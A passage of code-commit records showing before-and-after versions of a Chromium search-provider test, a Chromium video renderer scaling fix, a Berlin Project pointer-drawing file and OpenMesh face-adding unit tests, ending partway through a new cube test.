Unescapes and normalizes the actual result.\n  std::string value = UnescapeURLComponent(\n      escaped_value,\n      UnescapeRule::NORMAL | UnescapeRule::SPACES |\n      UnescapeRule::URL_SPECIAL_CHARS | UnescapeRule::CONTROL_CHARS);\n  value += \"\\n\";\n  ReplaceSubstringsAfterOffset(&value, 0, \"\\r\", \"\");\n  EXPECT_STREQ(\"1\\n\", value.c_str());\n}\n\nTEST_F(SearchProviderTest, TestIsSearchProviderInstalled) {\n  ASSERT_TRUE(test_server_started_);\n\n  \/\/ Use the default search provider, other installed search provider, and\n  \/\/ one not installed as well. (Note that yahoo isn't tested because the\n  \/\/ its host name varies a lot for different locales unlike Google and Bing,\n  \/\/ which would make the test fail depending on the machine's locale.)\n  const char* test_hosts[] = { \"www.google.com\",\n                               \"www.bing.com\",\n                               \"localhost\" };\n  const char* expected_results[] = { \"2\",\n                                     \"1\",\n                                     \"0\" };\n  COMPILE_ASSERT(arraysize(test_hosts) == arraysize(expected_results),\n                 there_should_be_a_result_for_each_host);\n  IsSearchProviderTestData test_data[2 * arraysize(test_hosts)];\n\n  \/\/ Start results for the normal mode.\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n  for (size_t i = 0; i < arraysize(test_hosts); ++i) {\n    test_data[i] = StartIsSearchProviderInstalledTest(\n        browser, test_hosts[i], expected_results[i]);\n    FinishIsSearchProviderInstalledTest(test_data[i]);\n  }\n\n  \/\/ Start tests for incognito mode (and verify the result is 0).\n  ASSERT_TRUE(browser->RunCommand(IDC_NEW_INCOGNITO_WINDOW));\n  scoped_refptr<BrowserProxy> incognito(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(incognito.get());\n  for (size_t i = 0; i < arraysize(test_hosts); ++i) {\n    test_data[i + arraysize(test_hosts)] = StartIsSearchProviderInstalledTest(\n        incognito, test_hosts[i], \"0\");\n    FinishIsSearchProviderInstalledTest(test_data[i + arraysize(test_hosts)]);\n  }\n\n  \/\/ The following should be re-enabled. At the moment, there are problems with\n  \/\/ doing all of these queries in parallel -- see http:\/\/crbug.com\/60043.\n#if 0\n  \/\/ Remove the calls to FinishIsSearchProviderInstalledTest above when\n  \/\/ re-enabling this code.\n\n  \/\/ Do the verification.\n  for (size_t i = 0; i < arraysize(test_data); ++i) {\n    FinishIsSearchProviderInstalledTest(test_data[i]);\n  }\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#include \"chrome\/renderer\/media\/video_renderer_impl.h\"\n#include \"media\/base\/yuv_convert.h\"\n\nVideoRendererImpl::VideoRendererImpl(WebMediaPlayerDelegateImpl* delegate)\n    : delegate_(delegate),\n      last_converted_frame_(NULL) {\n  \/\/ TODO(hclam): decide whether to do the following line in this thread or\n  \/\/ in the render thread.\n  delegate_->SetVideoRenderer(this);\n}\n\nbool VideoRendererImpl::OnInitialize(size_t width, size_t height) {\n  video_size_.SetSize(width, height);\n  bitmap_.setConfig(SkBitmap::kARGB_8888_Config, width, height);\n  if (bitmap_.allocPixels(NULL, NULL)) {\n    bitmap_.eraseRGB(0x00, 0x00, 0x00);\n    return true;\n  }\n  NOTREACHED();\n  return false;\n}\n\nvoid VideoRendererImpl::OnPaintNeeded() {\n  delegate_->PostRepaintTask();\n}\n\n\/\/ This method is always called on the renderer's thread.\nvoid VideoRendererImpl::Paint(skia::PlatformCanvas* canvas,\n                              const gfx::Rect& dest_rect) {\n  scoped_refptr<media::VideoFrame> video_frame;\n  GetCurrentFrame(&video_frame);\n  if (video_frame.get()) {\n    CopyToCurrentFrame(video_frame);\n    video_frame = NULL;\n  }\n  SkMatrix matrix;\n  matrix.setTranslate(static_cast<SkScalar>(dest_rect.x()),\n                      static_cast<SkScalar>(dest_rect.y()));\n  if (dest_rect.width()  != video_size_.width() ||\n      dest_rect.height() != video_size_.height()) {\n    matrix.preScale(\n        static_cast<SkScalar>(dest_rect.width()  \/ video_size_.width()),\n        static_cast<SkScalar>(dest_rect.height() \/ video_size_.height()));\n  }\n  canvas->drawBitmapMatrix(bitmap_, matrix, NULL);\n}\n\nvoid VideoRendererImpl::CopyToCurrentFrame(media::VideoFrame* video_frame) {\n  base::TimeDelta timestamp = video_frame->GetTimestamp();\n  if (video_frame != last_converted_frame_ ||\n      timestamp != last_converted_timestamp_) {\n    last_converted_frame_ = video_frame;\n    last_converted_timestamp_ = timestamp;\n    media::VideoSurface frame_in;\n    if (video_frame->Lock(&frame_in)) {\n      \/\/ TODO(hclam): Support more video formats than just YV12.\n      DCHECK(frame_in.format == media::VideoSurface::YV12);\n      DCHECK(frame_in.strides[media::VideoSurface::kUPlane] ==\n             frame_in.strides[media::VideoSurface::kVPlane]);\n      DCHECK(frame_in.planes == media::VideoSurface::kNumYUVPlanes);\n      bitmap_.lockPixels();\n      media::ConvertYV12ToRGB32(frame_in.data[media::VideoSurface::kYPlane],\n                                frame_in.data[media::VideoSurface::kUPlane],\n                                frame_in.data[media::VideoSurface::kVPlane],\n                                static_cast<uint8*>(bitmap_.getPixels()),\n                                frame_in.width,\n                                frame_in.height,\n                                frame_in.strides[media::VideoSurface::kYPlane],\n                                frame_in.strides[media::VideoSurface::kUPlane],\n                                bitmap_.rowBytes());\n      bitmap_.unlockPixels();\n      video_frame->Unlock();\n    } else {\n      NOTREACHED();\n    }\n  }\n}\n<commit_msg>TBR=ralphl, scherkus VideoRendererImpl did an incorrect scaling matrix, resulting in no video image drawn.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#include \"chrome\/renderer\/media\/video_renderer_impl.h\"\n#include \"media\/base\/yuv_convert.h\"\n\nVideoRendererImpl::VideoRendererImpl(WebMediaPlayerDelegateImpl* delegate)\n    : delegate_(delegate),\n      last_converted_frame_(NULL) {\n  \/\/ TODO(hclam): decide whether to do the following line in this thread or\n  \/\/ in the render thread.\n  delegate_->SetVideoRenderer(this);\n}\n\nbool VideoRendererImpl::OnInitialize(size_t width, size_t height) {\n  video_size_.SetSize(width, height);\n  bitmap_.setConfig(SkBitmap::kARGB_8888_Config, width, height);\n  if (bitmap_.allocPixels(NULL, NULL)) {\n    bitmap_.eraseRGB(0x00, 0x00, 0x00);\n    return true;\n  }\n  NOTREACHED();\n  return false;\n}\n\nvoid VideoRendererImpl::OnPaintNeeded() {\n  delegate_->PostRepaintTask();\n}\n\n\/\/ This method is always called on the renderer's thread.\nvoid VideoRendererImpl::Paint(skia::PlatformCanvas* canvas,\n                              const gfx::Rect& dest_rect) {\n  scoped_refptr<media::VideoFrame> video_frame;\n  GetCurrentFrame(&video_frame);\n  if (video_frame.get()) {\n    CopyToCurrentFrame(video_frame);\n    video_frame = NULL;\n  }\n  SkMatrix matrix;\n  matrix.setTranslate(static_cast<SkScalar>(dest_rect.x()),\n                      static_cast<SkScalar>(dest_rect.y()));\n  if (dest_rect.width()  != video_size_.width() ||\n      dest_rect.height() != video_size_.height()) {\n    matrix.preScale(SkIntToScalar(dest_rect.width()) \/\n                    SkIntToScalar(video_size_.width()),\n                    SkIntToScalar(dest_rect.height()) \/\n                    SkIntToScalar(video_size_.height()));\n  }\n  canvas->drawBitmapMatrix(bitmap_, matrix, NULL);\n}\n\nvoid VideoRendererImpl::CopyToCurrentFrame(media::VideoFrame* video_frame) {\n  base::TimeDelta timestamp = video_frame->GetTimestamp();\n  if (video_frame != last_converted_frame_ ||\n      timestamp != last_converted_timestamp_) {\n    last_converted_frame_ = video_frame;\n    last_converted_timestamp_ = timestamp;\n    media::VideoSurface frame_in;\n    if (video_frame->Lock(&frame_in)) {\n      \/\/ TODO(hclam): Support more video formats than just YV12.\n      DCHECK(frame_in.format == media::VideoSurface::YV12);\n      DCHECK(frame_in.strides[media::VideoSurface::kUPlane] ==\n             frame_in.strides[media::VideoSurface::kVPlane]);\n      DCHECK(frame_in.planes == media::VideoSurface::kNumYUVPlanes);\n      bitmap_.lockPixels();\n      media::ConvertYV12ToRGB32(frame_in.data[media::VideoSurface::kYPlane],\n                                frame_in.data[media::VideoSurface::kUPlane],\n                                frame_in.data[media::VideoSurface::kVPlane],\n                                static_cast<uint8*>(bitmap_.getPixels()),\n                                frame_in.width,\n                                frame_in.height,\n                                frame_in.strides[media::VideoSurface::kYPlane],\n                                frame_in.strides[media::VideoSurface::kUPlane],\n                                bitmap_.rowBytes());\n      bitmap_.unlockPixels();\n      video_frame->Unlock();\n    } else {\n      NOTREACHED();\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*$Id$\n *\n * This source file is a part of the Berlin Project.\n * Copyright (C) 1999 Stefan Seefeld <seefelds@magellan.umontreal.ca> \n * Copyright (C) 1999 Graydon Hoare <graydon@pobox.com> \n * http:\/\/www.berlin-consortium.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 675 Mass Ave, Cambridge,\n * MA 02139, USA.\n *\/\n#include \"Berlin\/Memory.hh\"\n#include \"Drawing\/openGL\/Pointer.hh\"\nextern \"C\"\n{\n#include \"ggi\/ggi.h\"\n}\n#include <iostream>\n#include <algorithm>\n\n\nstatic unsigned char pointerImg[256] = \n\n{ 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n  1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n  1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,\n  1,2,2,1,0,0,0,0,0,0,0,0,0,0,0,0,\n  1,2,2,2,1,0,0,0,0,0,0,0,0,0,0,0,\n  1,2,2,2,2,1,0,0,0,0,0,0,0,0,0,0,\n  1,2,2,2,2,2,1,0,0,0,0,0,0,0,0,0,\n  1,2,2,2,2,2,2,1,0,0,0,0,0,0,0,0,\n  1,2,2,2,2,2,2,2,1,0,0,0,0,0,0,0,\n  1,2,2,2,2,2,1,1,1,1,0,0,0,0,0,0,\n  1,2,2,1,2,2,1,0,0,0,0,0,0,0,0,0,\n  1,1,0,1,2,2,2,1,0,0,0,0,0,0,0,0,\n  1,0,0,0,1,2,2,1,0,0,0,0,0,0,0,0,\n  0,0,0,0,1,2,2,2,1,0,0,0,0,0,0,0,\n  0,0,0,0,0,1,2,2,1,0,0,0,0,0,0,0,\n  0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0 };\n\n  \nPointer::Pointer(ggi_visual_t visual)\n{\n  origin[0] = origin[1] = 0;\n  position[0] = position[1] = 8;\n  size[0] = size[1] = 16;\n\n  if (!(dbuf = ggiDBGetBuffer (visual, 0)) )\n    cerr << \"Error getting display buffer\" << endl;\n  else if (dbuf->layout != blPixelLinearBuffer)\n    cerr << \"Error: nonlinear display buffer\" << endl;\n  else if (! (dbuf->type & GGI_DB_SIMPLE_PLB))\n    cerr << \"Error: non-standard display buffer\" << endl;\n  depth = dbuf->buffer.plb.pixelformat->size >> 3;\n  stride = dbuf->buffer.plb.stride;\n\n  ggi_mode m;\n  ggiGetMode(visual, &m);\n  maxCoord = m.virt.x * m.virt.y;\n\n  \/*\n   * create the pointer image\n   *\/\n  image = new unsigned char[size[0]*size[1]*depth];\n  for (unsigned short y = 0; y != size[1]; y++)\n    for (unsigned short x = 0; x != size[0]; x++)\n\tfor (unsigned short d = 0; d != depth; d++)\n\t    image[y*depth*size[0] + depth*x + d] = pointerImg[y*size[0] +x] * 127;\n  \n  \/*\n   * create the pointer mask\n   *\/\n  mask = new unsigned char[size[0]*size[1]*depth];\n  for (unsigned short y = 0; y != size[1]; y++)\n      for (unsigned short x = 0; x != size[0]; x++)\n\t  for (unsigned short d = 0; d != depth; d++)\n\t      mask[y*depth*size[0] + depth*x + d] = pointerImg[y*size[0] +x] > 0 ? ~0 : 0;\n\n  cache = new unsigned char[size[0]*size[1]*depth];\n  backup();\n}\n\nPointer::~Pointer()\n{\n  delete [] image;\n  delete [] mask;\n  delete [] cache;\n}\n\nvoid Pointer::move(PixelCoord x, PixelCoord y)\n{\n  restore();\n  position[0] = max(x, origin[0]);\n  position[1] = max(y, origin[1]);\n  backup();\n  draw();\n};\n\n#define PIXPOS  (((position[1] + y) - origin[1])*(stride\/depth) + (position[0]-origin[0]) + size[0])\n\nvoid Pointer::backup()\n{\n  unsigned char *from = static_cast<unsigned char *>(dbuf->read) + (position[1]-origin[1])*stride + (position[0]-origin[0])*depth;\n  unsigned char *to = cache;\n  for (PixelCoord y = 0; (y != size[1]) && (PIXPOS < maxCoord); y++, from += stride, to += depth*size[0])\n    Memory::copy(from, to, depth*size[0]);\n}\n\nvoid Pointer::restore()\n{\n  unsigned char *from = cache;\n  unsigned char *to = static_cast<unsigned char *>(dbuf->write) + (position[1]-origin[1])*stride + (position[0]-origin[0])*depth;\n  for (PixelCoord y = 0; (y != size[1]) && (PIXPOS < maxCoord); y++, from += depth*size[0], to += stride)\n    Memory::copy(from, to, depth*size[0]);\n}\n\nvoid Pointer::draw()\n{\n  unsigned char *from = image;\n  unsigned char *bits = mask;\n  unsigned char *to = static_cast<unsigned char *>(dbuf->write) + (position[1]-origin[1])*stride + (position[0]-origin[0])*depth;\n\n  for (PixelCoord y = 0; (y != size[1]) && (PIXPOS < maxCoord); y++, to += stride - size[0]*depth)\n    for (PixelCoord x = 0; x != size[0]*depth; x++, from++, bits++, to++)\n\t*to = (*from & *bits) | (*to & ~*bits);\n\t    \n\t    \/\/\t    *to = *from & *bits;\n}\n<commit_msg>*** empty log message ***<commit_after>\/*$Id$\n *\n * This source file is a part of the Berlin Project.\n * Copyright (C) 1999 Stefan Seefeld <seefelds@magellan.umontreal.ca> \n * Copyright (C) 1999 Graydon Hoare <graydon@pobox.com> \n * http:\/\/www.berlin-consortium.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 675 Mass Ave, Cambridge,\n * MA 02139, USA.\n *\/\n#include \"Prague\/Sys\/Memory.hh\"\n#include \"Drawing\/openGL\/Pointer.hh\"\nextern \"C\"\n{\n#include \"ggi\/ggi.h\"\n}\n#include <iostream>\n#include <algorithm>\n\nusing namespace Prague;\n\nstatic unsigned char pointerImg[256] = \n\n{ 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n  1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n  1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,\n  1,2,2,1,0,0,0,0,0,0,0,0,0,0,0,0,\n  1,2,2,2,1,0,0,0,0,0,0,0,0,0,0,0,\n  1,2,2,2,2,1,0,0,0,0,0,0,0,0,0,0,\n  1,2,2,2,2,2,1,0,0,0,0,0,0,0,0,0,\n  1,2,2,2,2,2,2,1,0,0,0,0,0,0,0,0,\n  1,2,2,2,2,2,2,2,1,0,0,0,0,0,0,0,\n  1,2,2,2,2,2,1,1,1,1,0,0,0,0,0,0,\n  1,2,2,1,2,2,1,0,0,0,0,0,0,0,0,0,\n  1,1,0,1,2,2,2,1,0,0,0,0,0,0,0,0,\n  1,0,0,0,1,2,2,1,0,0,0,0,0,0,0,0,\n  0,0,0,0,1,2,2,2,1,0,0,0,0,0,0,0,\n  0,0,0,0,0,1,2,2,1,0,0,0,0,0,0,0,\n  0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0 };\n\n  \nPointer::Pointer(ggi_visual_t visual)\n{\n  origin[0] = origin[1] = 0;\n  position[0] = position[1] = 8;\n  size[0] = size[1] = 16;\n\n  if (!(dbuf = ggiDBGetBuffer (visual, 0)) )\n    cerr << \"Error getting display buffer\" << endl;\n  else if (dbuf->layout != blPixelLinearBuffer)\n    cerr << \"Error: nonlinear display buffer\" << endl;\n  else if (! (dbuf->type & GGI_DB_SIMPLE_PLB))\n    cerr << \"Error: non-standard display buffer\" << endl;\n  depth = dbuf->buffer.plb.pixelformat->size >> 3;\n  stride = dbuf->buffer.plb.stride;\n\n  ggi_mode m;\n  ggiGetMode(visual, &m);\n  maxCoord = m.virt.x * m.virt.y;\n\n  \/*\n   * create the pointer image\n   *\/\n  image = new unsigned char[size[0]*size[1]*depth];\n  for (unsigned short y = 0; y != size[1]; y++)\n    for (unsigned short x = 0; x != size[0]; x++)\n\tfor (unsigned short d = 0; d != depth; d++)\n\t    image[y*depth*size[0] + depth*x + d] = pointerImg[y*size[0] +x] * 127;\n  \n  \/*\n   * create the pointer mask\n   *\/\n  mask = new unsigned char[size[0]*size[1]*depth];\n  for (unsigned short y = 0; y != size[1]; y++)\n      for (unsigned short x = 0; x != size[0]; x++)\n\t  for (unsigned short d = 0; d != depth; d++)\n\t      mask[y*depth*size[0] + depth*x + d] = pointerImg[y*size[0] +x] > 0 ? ~0 : 0;\n\n  cache = new unsigned char[size[0]*size[1]*depth];\n  backup();\n}\n\nPointer::~Pointer()\n{\n  delete [] image;\n  delete [] mask;\n  delete [] cache;\n}\n\nvoid Pointer::move(PixelCoord x, PixelCoord y)\n{\n  restore();\n  position[0] = max(x, origin[0]);\n  position[1] = max(y, origin[1]);\n  backup();\n  draw();\n};\n\n#define PIXPOS  (((position[1] + y) - origin[1])*(stride\/depth) + (position[0]-origin[0]) + size[0])\n\nvoid Pointer::backup()\n{\n  unsigned char *from = static_cast<unsigned char *>(dbuf->read) + (position[1]-origin[1])*stride + (position[0]-origin[0])*depth;\n  unsigned char *to = cache;\n  for (PixelCoord y = 0; (y != size[1]) && (PIXPOS < maxCoord); y++, from += stride, to += depth*size[0])\n    Memory::copy(from, to, depth*size[0]);\n}\n\nvoid Pointer::restore()\n{\n  unsigned char *from = cache;\n  unsigned char *to = static_cast<unsigned char *>(dbuf->write) + (position[1]-origin[1])*stride + (position[0]-origin[0])*depth;\n  for (PixelCoord y = 0; (y != size[1]) && (PIXPOS < maxCoord); y++, from += depth*size[0], to += stride)\n    Memory::copy(from, to, depth*size[0]);\n}\n\nvoid Pointer::draw()\n{\n  unsigned char *from = image;\n  unsigned char *bits = mask;\n  unsigned char *to = static_cast<unsigned char *>(dbuf->write) + (position[1]-origin[1])*stride + (position[0]-origin[0])*depth;\n\n  for (PixelCoord y = 0; (y != size[1]) && (PIXPOS < maxCoord); y++, to += stride - size[0]*depth)\n    for (PixelCoord x = 0; x != size[0]*depth; x++, from++, bits++, to++)\n\t*to = (*from & *bits) | (*to & ~*bits);\n\t    \n\t    \/\/\t    *to = *from & *bits;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef INCLUDE_UNITTESTS_OpenMeshAddFaceTriangleMesh_HH\n#define INCLUDE_UNITTESTS_OpenMeshAddFaceTriangleMesh_HH\n\n#include <gtest\/gtest.h>\n#include <Unittests\/unittests_common.hh>\n#include <iostream>\n\nclass OpenMeshAddFaceTriangleMesh : public OpenMeshBase {\n\n    protected:\n\n        \/\/ This function is called before each test is run\n        virtual void SetUp() {\n            \n            \/\/ Do some initial stuff with the member data here...\n        }\n\n        \/\/ This function is called after all tests are through\n        virtual void TearDown() {\n\n            \/\/ Do some final stuff with the member data here...\n        }\n\n    \/\/ Member already defined in OpenMeshBase\n    \/\/Mesh mesh_;  \n};\n\nclass OpenMeshAddFacePolyMesh : public OpenMeshBasePoly {\n\n    protected:\n\n        \/\/ This function is called before each test is run\n        virtual void SetUp() {\n            \n            \/\/ Do some initial stuff with the member data here...\n        }\n\n        \/\/ This function is called after all tests are through\n        virtual void TearDown() {\n\n            \/\/ Do some final stuff with the member data here...\n        }\n\n    \/\/ Member already defined in OpenMeshBase\n    \/\/Mesh mesh_;  \n};\n\n\/*\n * ====================================================================\n * Define tests below\n * ====================================================================\n *\/\n\n\/* Adds two triangles to a tri mesh\n *\/\nTEST_F(OpenMeshAddFaceTriangleMesh, AddTrianglesToTrimesh) {\n\n  mesh_.clear();\n\n  \/\/ Add some vertices\n  Mesh::VertexHandle vhandle[4];\n\n  vhandle[0] = mesh_.add_vertex(Mesh::Point(0, 0, 0));\n  vhandle[1] = mesh_.add_vertex(Mesh::Point(0, 1, 0));\n  vhandle[2] = mesh_.add_vertex(Mesh::Point(1, 1, 0));\n  vhandle[3] = mesh_.add_vertex(Mesh::Point(1, 0, 0));\n\n  \/\/ Add two faces\n  std::vector<Mesh::VertexHandle> face_vhandles;\n\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[0]);\n\n  mesh_.add_face(face_vhandles);\n\n  face_vhandles.clear();\n\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[3]);\n  mesh_.add_face(face_vhandles);\n\n  \/\/ Test setup:\n  \/\/  1 === 2\n  \/\/  |   \/ |    \n  \/\/  |  \/  |\n  \/\/  | \/   |\n  \/\/  0 === 3\n\n  \/\/ Check setup\n  EXPECT_EQ(4u, mesh_.n_vertices() ) << \"Wrong number of vertices\";\n  EXPECT_EQ(2u, mesh_.n_faces() )    << \"Wrong number of faces\";\n\n}\n\n\/* Adds a quad to a trimesh (should be triangulated afterwards)\n *\/\nTEST_F(OpenMeshAddFaceTriangleMesh, AddQuadToTrimesh) {\n\n  mesh_.clear();\n\n  \/\/ Add some vertices\n  Mesh::VertexHandle vhandle[4];\n\n  vhandle[0] = mesh_.add_vertex(Mesh::Point(0, 0, 0));\n  vhandle[1] = mesh_.add_vertex(Mesh::Point(0, 1, 0));\n  vhandle[2] = mesh_.add_vertex(Mesh::Point(1, 1, 0));\n  vhandle[3] = mesh_.add_vertex(Mesh::Point(1, 0, 0));\n\n  \/\/ Add two faces\n  std::vector<Mesh::VertexHandle> face_vhandles;\n\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[3]);\n\n  mesh_.add_face(face_vhandles);\n\n  \/\/ Test setup:\n  \/\/  1 === 2\n  \/\/  |   \/ |    \n  \/\/  |  \/  |\n  \/\/  | \/   |\n  \/\/  0 === 3\n\n  \/\/ Check setup\n  EXPECT_EQ(4u, mesh_.n_vertices() ) << \"Wrong number of vertices\";\n  EXPECT_EQ(2u, mesh_.n_faces() )    << \"Wrong number of faces\";\n\n}\n\n\/* Adds a quad to a polymesh (should be a quad afterwards)\n *\/\nTEST_F(OpenMeshAddFacePolyMesh, AddQuadToPolymesh) {\n\n  mesh_.clear();\n\n  \/\/ Add some vertices\n  Mesh::VertexHandle vhandle[4];\n\n  vhandle[0] = mesh_.add_vertex(Mesh::Point(0, 0, 0));\n  vhandle[1] = mesh_.add_vertex(Mesh::Point(0, 1, 0));\n  vhandle[2] = mesh_.add_vertex(Mesh::Point(1, 1, 0));\n  vhandle[3] = mesh_.add_vertex(Mesh::Point(1, 0, 0));\n\n  \/\/ Add two faces\n  std::vector<Mesh::VertexHandle> face_vhandles;\n\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[3]);\n\n  mesh_.add_face(face_vhandles);\n\n  \/\/ Test setup:\n  \/\/  1 === 2\n  \/\/  |     |    \n  \/\/  |     |\n  \/\/  |     |\n  \/\/  0 === 3\n\n  \/\/ Check setup\n  EXPECT_EQ(4u, mesh_.n_vertices() ) << \"Wrong number of vertices\";\n  EXPECT_EQ(1u, mesh_.n_faces() )    << \"Wrong number of faces\";\n\n}\n\n\n#endif \/\/ INCLUDE GUARD\n<commit_msg>Added a Unittest for creating a cube with 6 quads in a poly mesh<commit_after>#ifndef INCLUDE_UNITTESTS_OpenMeshAddFaceTriangleMesh_HH\n#define INCLUDE_UNITTESTS_OpenMeshAddFaceTriangleMesh_HH\n\n#include <gtest\/gtest.h>\n#include <Unittests\/unittests_common.hh>\n#include <iostream>\n\nclass OpenMeshAddFaceTriangleMesh : public OpenMeshBase {\n\n    protected:\n\n        \/\/ This function is called before each test is run\n        virtual void SetUp() {\n            \n            \/\/ Do some initial stuff with the member data here...\n        }\n\n        \/\/ This function is called after all tests are through\n        virtual void TearDown() {\n\n            \/\/ Do some final stuff with the member data here...\n        }\n\n    \/\/ Member already defined in OpenMeshBase\n    \/\/Mesh mesh_;  \n};\n\nclass OpenMeshAddFacePolyMesh : public OpenMeshBasePoly {\n\n    protected:\n\n        \/\/ This function is called before each test is run\n        virtual void SetUp() {\n            \n            \/\/ Do some initial stuff with the member data here...\n        }\n\n        \/\/ This function is called after all tests are through\n        virtual void TearDown() {\n\n            \/\/ Do some final stuff with the member data here...\n        }\n\n    \/\/ Member already defined in OpenMeshBase\n    \/\/Mesh mesh_;  \n};\n\n\/*\n * ====================================================================\n * Define tests below\n * ====================================================================\n *\/\n\n\/* Adds two triangles to a tri mesh\n *\/\nTEST_F(OpenMeshAddFaceTriangleMesh, AddTrianglesToTrimesh) {\n\n  mesh_.clear();\n\n  \/\/ Add some vertices\n  Mesh::VertexHandle vhandle[4];\n\n  vhandle[0] = mesh_.add_vertex(Mesh::Point(0, 0, 0));\n  vhandle[1] = mesh_.add_vertex(Mesh::Point(0, 1, 0));\n  vhandle[2] = mesh_.add_vertex(Mesh::Point(1, 1, 0));\n  vhandle[3] = mesh_.add_vertex(Mesh::Point(1, 0, 0));\n\n  \/\/ Add two faces\n  std::vector<Mesh::VertexHandle> face_vhandles;\n\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[0]);\n\n  mesh_.add_face(face_vhandles);\n\n  face_vhandles.clear();\n\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[3]);\n  mesh_.add_face(face_vhandles);\n\n  \/\/ Test setup:\n  \/\/  1 === 2\n  \/\/  |   \/ |    \n  \/\/  |  \/  |\n  \/\/  | \/   |\n  \/\/  0 === 3\n\n  \/\/ Check setup\n  EXPECT_EQ(4u, mesh_.n_vertices() ) << \"Wrong number of vertices\";\n  EXPECT_EQ(2u, mesh_.n_faces() )    << \"Wrong number of faces\";\n\n}\n\n\/* Adds a quad to a trimesh (should be triangulated afterwards)\n *\/\nTEST_F(OpenMeshAddFaceTriangleMesh, AddQuadToTrimesh) {\n\n  mesh_.clear();\n\n  \/\/ Add some vertices\n  Mesh::VertexHandle vhandle[4];\n\n  vhandle[0] = mesh_.add_vertex(Mesh::Point(0, 0, 0));\n  vhandle[1] = mesh_.add_vertex(Mesh::Point(0, 1, 0));\n  vhandle[2] = mesh_.add_vertex(Mesh::Point(1, 1, 0));\n  vhandle[3] = mesh_.add_vertex(Mesh::Point(1, 0, 0));\n\n  \/\/ Add two faces\n  std::vector<Mesh::VertexHandle> face_vhandles;\n\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[3]);\n\n  mesh_.add_face(face_vhandles);\n\n  \/\/ Test setup:\n  \/\/  1 === 2\n  \/\/  |   \/ |    \n  \/\/  |  \/  |\n  \/\/  | \/   |\n  \/\/  0 === 3\n\n  \/\/ Check setup\n  EXPECT_EQ(4u, mesh_.n_vertices() ) << \"Wrong number of vertices\";\n  EXPECT_EQ(2u, mesh_.n_faces() )    << \"Wrong number of faces\";\n\n}\n\n\/* Adds a quad to a polymesh (should be a quad afterwards)\n *\/\nTEST_F(OpenMeshAddFacePolyMesh, AddQuadToPolymesh) {\n\n  mesh_.clear();\n\n  \/\/ Add some vertices\n  Mesh::VertexHandle vhandle[4];\n\n  vhandle[0] = mesh_.add_vertex(Mesh::Point(0, 0, 0));\n  vhandle[1] = mesh_.add_vertex(Mesh::Point(0, 1, 0));\n  vhandle[2] = mesh_.add_vertex(Mesh::Point(1, 1, 0));\n  vhandle[3] = mesh_.add_vertex(Mesh::Point(1, 0, 0));\n\n  \/\/ Add two faces\n  std::vector<Mesh::VertexHandle> face_vhandles;\n\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[3]);\n\n  mesh_.add_face(face_vhandles);\n\n  \/\/ Test setup:\n  \/\/  1 === 2\n  \/\/  |     |    \n  \/\/  |     |\n  \/\/  |     |\n  \/\/  0 === 3\n\n  \/\/ Check setup\n  EXPECT_EQ(4u, mesh_.n_vertices() ) << \"Wrong number of vertices\";\n  EXPECT_EQ(1u, mesh_.n_faces() )    << \"Wrong number of faces\";\n\n}\n\n\/* Adds a quad to a polymesh (should be a quad afterwards)\n *\/\nTEST_F(OpenMeshAddFacePolyMesh, CreatePolyMeshCube) {\n\n  mesh_.clear();\n\n  \/\/ Add some vertices\n  Mesh::VertexHandle vhandle[8];\n  vhandle[0] = mesh_.add_vertex(PolyMesh::Point(-1, -1,  1));\n  vhandle[1] = mesh_.add_vertex(PolyMesh::Point( 1, -1,  1));\n  